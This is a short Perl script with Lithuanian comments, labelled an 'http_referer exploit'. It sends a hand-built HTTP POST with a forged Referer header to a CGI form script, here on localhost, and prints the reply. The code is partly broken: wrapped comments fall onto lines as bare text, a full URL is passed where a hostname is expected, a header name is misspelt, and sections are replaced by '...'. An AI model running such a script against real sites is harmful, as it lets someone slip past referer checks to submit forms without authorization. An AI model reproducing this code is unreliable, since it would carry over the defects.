#!/usr/bin/perl
use Socket; #naudojam socket biblioteka (detalesne
informacija apie sia biblioteka CPAN'e)
$hostas='http://127.0.0.1'; #taikinys
$path='/cgi-bin/test.pl'; #kelias iki skripto
$portas=80; #portas (default 80)
$http_method='POST'; #duomenu siuntimo metodas
$http_protocol='HTTP/1.0'; #protokolas
$http_referer='http://127.0.0.1/test.pl'; #apgaulingas
HTTP_REFERER
$http_user_agent='http_referer exploit in PERL by mr2';
#browserio tipas ;)
$http_content_type='application/x-www-form-urlencoded';
#duomenu enkodingas
$form_d='name=mr2&email=mr2@xxx.lt'; #POST metodu
siunciama eilute
$form_d=~s/\,/\%2C/g; #keicaim kablelius i "%2C"
$form_d=~s/ /+/g; #keiciam tarpus i "+"
$length=length($form_d); #skaiciuojam eilutes ilgi (CONTENT_LENGTH)
#visa (serveriui) siunciama eilute
$duomenys="$http_method $path $http_protocol\r
Referer: $http_referer\r
User Agent: $http_user_agent\r
Content-type: $http_content_type\r
Content-length: $length\r
\r
$form_d\r
";
print "content-type: text/html\n\n"; #rezultatus
rodysim browser'yje
&siusti; #issaukiam siuntimo sub'a
exit; #isejimas is programos
#toliau standartinis tcp soketo susijungimas su servu
...
#eilutes perdavimas ir servo atsakymo rodymas browser'yje
...
sub siusti {
$i_addr=inet_aton($hostas) || die 'nepavyko rasti host\'o
!';
$p_addr=sockaddr_in($portas,$i_addr);
$proto=getprotobyname('tcp');
socket(SOCK,PF_INET,SOCK_STREAM,$proto) || die 'nepavyko
sukurti socket\'o !';
connect(SOCK,$p_addr) || die 'nepavyko susijungti !';
send(SOCK,$duomenys,0);
while (<SOCK>) { print "$_"; }
close(SOCK);
}
|